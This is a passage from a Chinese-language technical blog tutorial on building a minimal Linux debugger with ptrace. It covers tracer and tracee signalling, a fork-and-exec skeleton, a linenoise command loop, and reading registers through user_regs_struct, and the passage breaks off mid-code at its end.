0.1em;color: rgb(63, 63, 63);">同样的当tracee执行完一条指令获取<strong style="line-height: 1.75;color: rgb(255, 118, 118);">SIGTRAP</strong>信号，在<strong style="line-height: 1.75;color: rgb(255, 118, 118);">do_signal</strong>函数处理信号时，由于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">current-&gt;ptrace &amp; PT_PTRACED</code>将停止执行并发送<strong style="line-height: 1.75;color: rgb(255, 118, 118);">SIGCHLD</strong>信号给父进程tracer。父进程接收到SIGCHLD信号后就知道tracee停止，可以发送命令来读取或者修改tracee的内存数据或寄存器，或者通过调用 <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrace(PTRACE_CONT, child,...)</code> 来让被调试进程进行运行等</p><h1 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">Debugger 基本功能实现</h1><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  实现一个简单的debugger，大致模型如下：主程序fork一个子程序去执行待调试程序；然后主程序循环等待用户输入命令，停止主程序停止并等待输入命令的条件就是子程序停止，这会在<strong style="line-height: 1.75;color: rgb(255, 118, 118);">首次execute一个程序</strong>发生，以及<strong style="line-height: 1.75;color: rgb(255, 118, 118);">单步(PTRACE_SINGLESTEP)<strong style="line-height: 1.75;">或者</strong>断点</strong>发生。子程序很简单只需要调用execute系统调用启动一个新程序即可</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img data-ratio="0.7752675386444708" title="null" data-type="png" data-w="841" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a55d700a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkaKns4LWooxTNiabTOgobYcspG3XJCzkNSZsumvHTRphBiceyRKviaAIIbQPMRGp8hxH2p6FXt9n8bcQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;">image-20230208214054408</figcaption></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">待实现的debugger有三个基本功能：单步，读写寄存器，读写内存。基于这三个功能再添加其他类似于gdb的功能。初始框架如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(209, 154, 102);">int</span> <span style="color: rgb(97, 174, 238);">main</span>(<span style="color: rgb(209, 154, 102);">int</span> argc, <span style="color: rgb(209, 154, 102);">char</span> *argv[]){<br/>    <span style="color: rgb(198, 120, 221);">if</span>(argc &lt; <span style="color: rgb(209, 154, 102);">2</span>){<br/>        <span style="color: rgb(230, 192, 123);">fprintf</span>(<span style="color: rgb(230, 192, 123);">stderr</span>, <span style="color: rgb(152, 195, 121);">&#34;Expecting program name.\n&#34;</span>);<br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/>    }<br/>    <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *name = argv[<span style="color: rgb(209, 154, 102);">1</span>];<br/>    <span style="color: rgb(209, 154, 102);">pid_t</span> pid = fork();<br/>    <span style="color: rgb(198, 120, 221);">if</span>(pid == <span style="color: rgb(209, 154, 102);">0</span>){<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">//child process</span><br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">//execute tracee</span><br/>        ptrace(PTRACE_TRACEME, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0</span>);<br/>        execl(name, name, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>    }<span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span>(pid &gt; <span style="color: rgb(209, 154, 102);">0</span>){<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">//parent process</span><br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">//execute tracer</span><br/>    }<span style="color: rgb(198, 120, 221);">else</span>{<br/>        perror(<span style="color: rgb(152, 195, 121);">&#34;fork.&#34;</span>);<br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">子程序部分很简单调用exec族函数即可。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Parent</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  首先考虑使用一个结构体记录子进程的信息，然后父进程进入一个读取用户命令的循环，这里使用<span style="line-height: 1.75;color: rgb(87, 107, 149);">linenoise</span>开源项目实现命令补全，命令记录等功能当然还需要处理命令：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">/**<br/> * debugger uitls<br/>*/</span><br/><span style="color: rgb(198, 120, 221);">typedef</span> <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">Debugger</span>{<br/>    <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *d_name;<br/>    <span style="color: rgb(209, 154, 102);">int</span> d_pid;<br/>    Breakpoint *d_brks;   <span style="color: rgb(92, 99, 112);font-style: italic;">//记录断点</span><br/>}Debugger;<br/><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">dbg_run</span>(Debugger *dbg){<br/>    <span style="color: rgb(209, 154, 102);">int</span> wait_status;<br/>    <span style="color: rgb(209, 154, 102);">char</span> *cmd;<br/>    waitpid(dbg-&gt;d_pid, &amp;wait_status, <span style="color: rgb(209, 154, 102);">0</span>);<br/>    <span style="color: rgb(92, 99, 112);font-style: italic;">/*UI for start up*/</span><br/>    <span style="color: rgb(198, 120, 221);">while</span>((cmd = linenoise(<span style="color: rgb(152, 195, 121);">&#34;minidbg$ &#34;</span>)) != <span style="color: rgb(86, 182, 194);">NULL</span>){<br/>        dbg_handle_command(dbg, cmd);<br/>        linenoiseHistoryAdd(cmd);<br/>        linenoiseFree(cmd);<br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用Debugger结构体记录程序状态，主要是子程序pid和之后的断点信息；<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">linenoise(&#34;minidbg$ &#34;)</code>会打印<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">minidbg$ </code>并等待输入，使用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">dbg_handle_command</code>处理命令包括读写内存，寄存器，下断点等。<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">linenoiseHistoryAdd(cmd)</code>将命令添加到历史记录中</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">dbg_handle_command</code>函数中大致结构为：很方便添加新功能，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">is_prefix</strong>辅助函数用于判断缩写指令</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(209, 154, 102);">void</span> <span style="color: rgb(97, 174, 238);">dbg_handle_command</span>(Debugger *dbg, <span style="color: rgb(209, 154, 102);">char</span> *cmd){<br/>    <span style="color: rgb(209, 154, 102);">char</span> *lcmd = strdup(cmd);<br/>    <span style="color: rgb(209, 154, 102);">char</span> *argv[<span style="color: rgb(209, 154, 102);">8</span>] = { <span style="color: rgb(209, 154, 102);">0</span> };    <br/>    <span style="color: rgb(209, 154, 102);">char</span> *command;<br/>    argv[<span style="color: rgb(209, 154, 102);">0</span>] = strtok(lcmd, <span style="color: rgb(152, 195, 121);">&#34; &#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">for</span>(<span style="color: rgb(209, 154, 102);">int</span> i = <span style="color: rgb(209, 154, 102);">1</span>; i &lt; <span style="color: rgb(209, 154, 102);">8</span>; i++){<br/>        argv[i] = strtok(<span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(152, 195, 121);">&#34; &#34;</span>);<br/>        <span style="color: rgb(198, 120, 221);">if</span>(argv[i] == <span style="color: rgb(86, 182, 194);">NULL</span>) <span style="color: rgb(198, 120, 221);">break</span>;<br/>    }<br/>    command = argv[<span style="color: rgb(209, 154, 102);">0</span>];<br/>    <span style="color: rgb(198, 120, 221);">if</span>(command == <span style="color: rgb(86, 182, 194);">NULL</span>) <span style="color: rgb(198, 120, 221);">return</span>;<br/>    <span style="color: rgb(198, 120, 221);">if</span>(is_prefix(command, <span style="color: rgb(152, 195, 121);">&#34;continue&#34;</span>)){<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">/*do_command*/</span><br/>    }<br/>    <span style="color: rgb(198, 120, 221);">else</span>{<br/>        <span style="color: rgb(230, 192, 123);">fprintf</span>(<span style="color: rgb(230, 192, 123);">stderr</span>, <span style="color: rgb(152, 195, 121);">&#34;Unkown command: %s.\n&#34;</span>, command);<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(230, 192, 123);">free</span>(lcmd);<br/>}<br/><span style="color: rgb(209, 154, 102);">bool</span> <span style="color: rgb(97, 174, 238);">is_prefix</span>(<span style="color: rgb(209, 154, 102);">char</span> *s, <span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *ss){<br/>    <span style="color: rgb(198, 120, 221);">if</span>(s == <span style="color: rgb(86, 182, 194);">NULL</span> || ss == <span style="color: rgb(86, 182, 194);">NULL</span>) <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">false</span>;<br/>    <span style="color: rgb(198, 120, 221);">if</span>(<span style="color: rgb(230, 192, 123);">strlen</span>(s) &gt; <span style="color: rgb(230, 192, 123);">strlen</span>(ss)) <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">false</span>;<br/>    <br/>    <span style="color: rgb(198, 120, 221);">return</span> !<span style="color: rgb(230, 192, 123);">strncmp</span>(s, ss, <span style="color: rgb(230, 192, 123);">strlen</span>(s));<br/>}</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">读写寄存器</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  一个非常基础的功能，基于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrace(PTRACE_GETREGS, ...)</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ptrace(PTRACE_SETREGS, ...)</code>读写寄存器，为了保留寄存器信息在**&lt;sys/user.h&gt;**头文件中定义了如下结构体：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">user_regs_struct</span><br/>{<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> r15;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> r14;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> r13;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> r12;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rbp;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rbx;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> r11;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> r10;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> r9;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> r8;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rax;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rcx;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rdx;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rsi;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rdi;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> orig_rax;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rip;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> cs;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> eflags;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> rsp;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> ss;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> fs_base;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> gs_base;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> ds;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> es;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> fs;<br/>  __extension__ <span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">long</span> <span style="color: rgb(209, 154, 102);">int</span> gs;<br/>};</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">配合ptrace可以直接按照以上结构体读写寄存器，所以一次读写至少是所有通用寄存器。根据结构体排序定义了如下数据结构体来记录寄存器信息：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(92, 99, 112);font-style: italic;">/*utils.h*/</span><br/><span style="color: rgb(198, 120, 221);">enum</span> <span style="color: rgb(230, 192, 123);">reg</span>{<br/>    en_rax, en_rbx, en_rcx, en_rdx,<br/>    en_rdi, en_rsi, en_rbp, en_rsp,<br/>    en_r8,  en_r9,  en_r10, en_r11,<br/>    en_r12, en_r13, en_r14, en_r15,<br/>    en_rip, en_rflags,    en_cs,<br/>    en_orig_rax, en_fs_base,<br/>    en_gs_base,<br/>    en_fs, en_gs, en_ss, en_ds, en_es<br/>};<br/><span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">reg_descriptor</span> {<br/>    <span style="color: rgb(198, 120, 221);">enum</span> <span style="color: rgb(230, 192, 123);">reg</span> <span style="color: rgb(230, 192, 123);">r</span>;<br/>    <span style="color: rgb(209, 154, 102);">char</span> *name;<br/>};<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/*utils.c*/</span><br/><span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">size_t</span> n_regs = <span style="color: rgb(209, 154, 102);">27</span>;<br/><span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">reg_descriptor</span> <span style="color: rgb(230, 192, 123);">g_register_descriptors</span>[] = {<br/>    { en_r15, <span style="color: rgb(152, 195, 121);">&#34;r15&#34;</span> },<br/>    { en_r14, <span style="color: rgb(152, 195, 121);">&#34;r14&#34;</span> },<br/>    { en_r13, <span style="color: rgb(152, 195, 121);">&#34;r13&#34;</span> },<br/>    { en_r12, <span style="color: rgb(152, 195, 121);">&#34;r12&#34;</span> },<br/>    { en_rbp, <span style="color: rgb(152, 195, 121);">&#34;rbp&#34;</span> },<br/>    { en_rbx, <span style="color: rgb(152, 195, 121);">&#34;rbx&#34;</span> },<br/>    { en_r11, <span style="color: rgb(152, 195, 121);">&#34;r11&#34;</span> },<br/>    { en_r10, <span style="color: rgb(152, 195, 121);">&#34;r10&#34;</span> },<br/>    { en_r9, <span style="color: rgb(152, 195, 121);">&#34;r9&#34;</span> },<br/>    { en_r8, <span style="color: rgb(152, 195, 121);">&#34;r8&#34;</span> },<br/>    { en_rax, <span style="color: rgb(152, 195, 121);">&#34;rax&#34;</span> },<br/>    { en_rcx, <span style="color: rgb(152, 195, 121);">&#34;rcx&#34;</span> },<br/>    { en_rdx, <span style="color: rgb(152, 195, 121);">&#34;rdx&#34;</span> },<br/>    { en_rsi, <span style="color: rgb(152, 195, 121);">&#34;rsi&#34;</span> },<br/>    { en_rdi, <span style="color: rgb(152, 195, 121);">&#34;rdi&#34;</span> },<br/>    { en_orig_rax, <span style="color: rgb(152, 195, 121);">&#34;orig_rax&#34;</span> },<br/>    { en_rip, <span style="color: rgb(152, 195, 121);">&#34;rip&#34;</span> },<br/>    { en_cs, <span style="color: rgb(152, 195, 121);">&#34;cs&#34;</span> },<br/>    { en_rflags, <span style="color: rgb(152, 195, 121);">&#34;eflags&#34;</span> },<br/>    { en_rsp, <span style="color: rgb(152, 195, 121);">&#34;rsp&#34;</span> },<br/>    { en_ss, <span style="color: rgb(152, 195, 121);">&#34;ss&#34;</span> },<br/>    { en_fs_base, <span style="color: rgb(152, 195, 121);">&#34;fs_base&#34;</span> },<br/>    { en_gs_base, <span style="color: rgb(152, 195, 121);">&#34;gs_base&#34;</span> },<br/>    { en_ds, <span style="color: rgb(152, 195, 121);">&#34;ds&#34;</span> },<br/>    { en_es, <span style="color: rgb(152, 195, 121);">&#34;es&#34;</span> },<br/>    { en_fs, <span style="color: rgb(152, 195, 121);">&#34;fs&#34;</span> },<br/>    { en_gs, <span style="color: rgb(152, 195, 121);">&#34;gs&#34;</span> }<br/>};</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">因为只能一次读写所有寄存器，因此要读写某个寄存器时先用ptrace把所有的读取出来在通过寄存器表查找<strong style="line-height: 1.75;color: rgb(255, 118, 118);">g_register_descriptors</strong>，并且因为寄存器表和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">struct user_regs_struct</code>结构体排序一致可以直接用表中的偏移读写结构体：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, 